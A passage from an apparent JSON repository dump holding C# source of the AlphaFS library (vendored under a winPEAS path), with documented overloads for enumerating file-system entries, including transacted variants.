[SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, Path.WildcardStarMatchAll, null, options,  filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, Path.WildcardStarMatchAll, null, options,  filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, string searchPattern, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, searchPattern, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, searchPattern, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, searchPattern, null, options,  filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, searchPattern, null, options,  filters, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileSystemEntryInfosTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, pathFormat);\n      }\n      \n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, Path.WildcardStarMatchAll, null, options,  null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, Path.WildcardStarMatchAll, null, options,  null, pathFormat);\n      }\n      \n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, string searchPattern, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, searchPattern, null, null, null, pathFormat);\n      }\n      \n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path using <see cref=\"DirectoryEnumerationOptions\"/>.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, searchPattern, null, options,  null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path using <see cref=\"DirectoryEnumerationOptions\"/>.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be 